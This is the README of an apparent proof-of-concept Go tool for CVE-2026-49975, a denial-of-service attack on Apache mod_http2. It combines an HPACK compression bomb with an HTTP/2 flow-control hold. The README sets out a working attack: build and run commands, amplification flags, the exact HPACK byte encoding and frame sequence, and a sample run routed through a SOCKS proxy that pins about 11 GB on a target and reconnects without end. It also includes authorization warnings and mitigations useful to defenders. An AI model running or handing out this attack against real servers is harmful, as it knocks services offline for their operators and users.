
Security research PoC for CVE-2026-49975: HTTP/2 HPACK compression bomb + flow-control hold DoS in Apache mod_http2
Security Research PoC by naheeju
⚠️ This is a working, memory-exhaustion DoS tool — not a toy. It opens streams that force the target to allocate memory and holds them open via HTTP/2 flow-control tricks. As long as the process is running, it keeps holding and automatically reconnects if the server drops the connection — it does not stop on its own. Impact scales directly with
--threads,--streams, and . Stopping the process (Ctrl+C) releases the held streams and lets the server recover, but nothing about default operation is "gentle" — treat every run as a live-fire test.
--headersCVE-2026-49975 ("HTTP/2 Bomb") is a remote, unauthenticated Denial-of-Service vulnerability affecting Apache HTTP Server's mod_http2 module. It chains two long-known HTTP/2 weaknesses:
Cookie header fragments to be merged without being counted against LimitRequestFields, forcing the server to repeatedly allocate memory for internal header bookkeeping structures.The result: a single client on a modest connection can force significant, sustained memory allocation on the target for as long as the stream is held open. This implementation supports two payload modes and scales linearly with the concurrency you configure:
nginx mode — plants an empty x-bomb header in the HPACK dynamic table and re-references it repeatedly (~70:1 amplification per reference).classic mode — plants an oversized cookie header instead (~4000:1 amplification per reference).Each connection re-references the planted header thousands of times per stream (--headers, default 5000), across multiple streams per connection (--streams, default 10) and multiple parallel connections (--threads, default 1). If the server closes a connection, the tool reconnects immediately and keeps going until manually stopped — this is a continuous-hold loop, not a single one-shot probe.
Related identifiers for other affected stacks (not implemented or tested by this repo):
CVE-2026-47774Full scope of the underlying weakness class, for completeness — the "HTTP/2 Bomb" technique (HPACK compression bomb + flow-control hold) affects several server implementations beyond Apache. This repo only implements and tests the Apache case; the rest is included so readers understand the broader class, not because this PoC exercises them:
| Implementation | Status | Implemented in this PoC? |
|---|---|---|
Apache HTTP Server mod_http2 | Fixed in httpd 2.4.68 (2026-06-08) | Yes — this repo |
| nginx | Fixed in 1.29.8 | No |
| Envoy | Tracked separately | No |
| Microsoft IIS | Tracked separately | No |
| Cloudflare Pingora | Tracked separately | No |
| CVE | CVE-2026-49975 |
| CWE | CWE-789 (Memory Allocation with Excessive Size Value, per NVD/CVE.org); also tracked as CWE-409 (Improper Handling of Highly Compressed Data) by some vendors |
| CVSS | 7.5 (High) — CVSS v3.1, availability-only vector (per NVD). Apache's own advisory rates it Moderate. |
| Affected component | Apache HTTP Server mod_http2 |
| Vulnerable versions | Apache httpd 2.4.17 ≤ version ≤ 2.4.67 (default HTTP/2 config) |
| Fixed in | Apache HTTP Server 2.4.68 (released 2026-06-08). Underlying fix landed upstream in mod_h2 on 2026-05-27, merged into the httpd 2.4.x branch 2026-06-02, shipped in the 2.4.68 release. |
| Attack type | Denial of Service — memory exhaustion (availability only) |
| Authentication required | No |
| Data exposure / RCE | None — this is availability-impact only |
| Known exploited | Not currently flagged as known-exploited-in-the-wild by tracked sources. |
References (primary sources — verify all claims independently):
This repository contains:
This repository does not contain:
Read this before doing anything else.
By downloading, cloning, or executing any code in this repository, you agree that you are solely responsible for ensuring you have proper authorization, and that you accept full legal responsibility for your use of it.
CVE-2026-49975 only applies to a target that satisfies both criteria in Section 1 — reachable over HTTP/2 and running an in-range, vulnerable mod_http2 version (2.4.17 ≤ version ≤ 2.4.67, default config). A plain curl -vkI against the target's HTTPS port is enough to check both — no scanner or extra flags needed:
curl -vkI https://<target>
What to look for in the output:
ALPN: server accepted h2 — the server negotiated HTTP/2 for this connection. This is the precondition for CVE-2026-49975, since the bug lives in mod_http2; a server that never accepted h2 here isn't a candidate.Server response header (visible once the HEAD response headers print, further down in -v output) — this is what confirms or rules out the actual Apache/mod_http2 version against the vulnerable range in Section 1. ALPN acceptance alone does not confirm the version — that still needs the Server header or an equivalent banner check.Nothing beyond this is used for recon in this repo — no active exploitation traffic, no vulnerability scanners, no port sweeps.
cve202649975)golang.org/x/net v0.59.0 (resolved automatically via go build)443, TLS/h2 by default; --no-ssl for plaintext h2c)proxychains4, it detects the LD_PRELOAD wrapper, reads the same proxychains4.conf, and routes its own connections through that SOCKS5 proxy (remote DNS resolution) — useful when an engagement's scope requires testing from a specific egress pathPublic timeline of CVE-2026-49975 itself: reported to Apache 2026-05-26; fix landed upstream in
mod_h22026-05-27; merged into the httpd 2.4.x branch 2026-06-02; Apache HTTP Server 2.4.68 released 2026-06-08.
Only run this against a target you are explicitly authorized to test. There is no built-in duration limit or safe-mode — you are responsible for how long it runs and at what concurrency.
Build:
go build -o dos ./cmd
# or: sudo install -m 0755 dos /usr/local/bin/dos (see build.sh)
Run:
./dos <target> <port> [flags]
| Flag | Default | Description |
|---|---|---|
--threads N | 1 | Parallel connections |
--streams N | 10 | Streams opened per connection |
--headers N | 5000 | HPACK dynamic-table references per stream (amplification driver) |
--mode nginx|classic | nginx | nginx = empty-header bookkeeping bomb (~70:1); classic = fat-cookie bomb (~4000:1, matches the Apache mod_http2 Cookie-merging mechanism this CVE is tracked for) |
--no-ssl | off | Use plaintext h2c instead of TLS |
Example, minimal authorized lab test:
./dos lab-target.internal 443 --threads 1 --streams 5 --headers 1000 --mode nginx
Behavior to expect:
WINDOW_UPDATE drips and periodic pings; auto-reconnects and repeats if the server closes the connection.Ctrl+C / SIGTERM — plan your test window accordingly and monitor the target's memory in real time.--streams/--headers before any authorized production test, and have a rollback/restart plan for the target service ready regardless.Rough server-side memory formula for this tool's two modes (Apache mod_http2 only — see Section 1 for how nginx/classic map to amplification ratio):
total_streams = threads × streams
server_ram_MB ≈ total_streams × headers × amplification_bytes / 1024²
# nginx mode (~70 bytes/ref), defaults (threads=1, streams=10, headers=5000):
# 1 × 10 × 5000 × 70 / 1024² ≈ 3.3 MB held
# classic mode (~4000 bytes/ref), defaults:
# 1 × 10 × 5000 × 4000 / 1024² ≈ 190 MB held
Scale threads/streams/headers up and the number grows linearly — this is why an authorized lab test should start low (see Section 7) before any production-scope run.
This documents the mechanism this specific PoC implements against Apache mod_http2 — it does not extend to other server implementations, which are out of scope for this repository (see Section 2).
HPACK dynamic-table seed (incremental indexing, adds entry at index 62):
0x40 | name_len | name | value_len | value
= 0x40 0x06 "x-bomb" 0x00 (nginx-mode seed: empty value)
Indexed reference to that entry (1 byte each, repeated --headers times):
0x80 | 62 = 0xbe
HTTP/2 frame sequence per connection:
Client → Server:
PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n (connection preface)
SETTINGS [INITIAL_WINDOW_SIZE=0] (flow-control stall setup)
SETTINGS ACK (after reading server SETTINGS)
HEADERS [stream 1] ← HPACK bomb payload
HEADERS [stream 3] ← HPACK bomb payload
... (up to --streams per connection)
WINDOW_UPDATE(1) per stream, periodically (keeps the stall alive)
Wire cost is small and mostly fixed per stream (a handful of bytes for the seed + 1 byte per reference); the server-side allocation is what grows disproportionately — that gap is the vulnerability.
Output from an authorized lab run, classic mode, 20 connections × 30 streams/conn, 5000 HPACK refs/stream, routed through proxychains:
proxychains4 dos domain.com 443 --mode classic --threads 20 --streams 30 --headers 5000
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
██╗ ██╗██████╗ ██████╗ ██████╗ ███╗ ███╗██████╗
██║ ██║╚════██╗ ██╔══██╗██╔═══██╗████╗ ████║██╔══██╗
███████║ █████╔╝ ██████╔╝██║ ██║██╔████╔██║██████╔╝
██╔══██║██╔═══╝ ██╔══██╗██║ ██║██║╚██╔╝██║██╔══██╗
██║ ██║███████╗ ██████╔╝╚██████╔╝██║ ╚═╝ ██║██████╔╝
╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝
CVE-2026-49975 — HTTP/2 Bomb PoC (HPACK bomb + flow-control hold)
Go PoC by naheeju · originally discovered by Calif.IO · authorized testing only
──────────────────────────────────────────────────────────────────
Run configuration
Target domain.com:443
Mode classic (~4000:1 amplification)
Connections 20
Streams/conn 30
Total streams 600
HPACK refs/str 5000
Est. server RAM ~11444 MB
Proxychains yes — SOCKS5 127.0.0.1:9050 (remote DNS, no leak)
──────────────────────────────────────────────────────────────────
[~] Opening connection #1...
...
[+] 30 streams open | ~572 MB pinned on server | holding...
[+] 30 streams open | ~572 MB pinned on server | holding...
... (one line per connection as it finishes opening its 30 streams)
Each connection independently reports its own local RAM contribution as it opens streams (~572 MB per connection at these settings); the pre-flight Est. server RAM figure is the aggregate across all 20 connections (~11.4 GB) once every connection is fully open and holding.
domain.comabove is a placeholder — replace with your actual authorized target when documenting your own run, and redact it if the engagement is confidential.
LimitRequestFields conservatively and monitor header-merge behavior.Original vulnerability discovery & disclosure to Apache (no relation to this repository or its author):
This repository (Go reimplementation, written and tested after the public fix landed):
Questions, corrections, or responsible-disclosure-adjacent concerns about this specific PoC: open an issue on this repository.
License: MIT (this repository's code only — see LICENSE). Does not extend to, or imply endorsement by, the original discoverers or the Apache Software Foundation.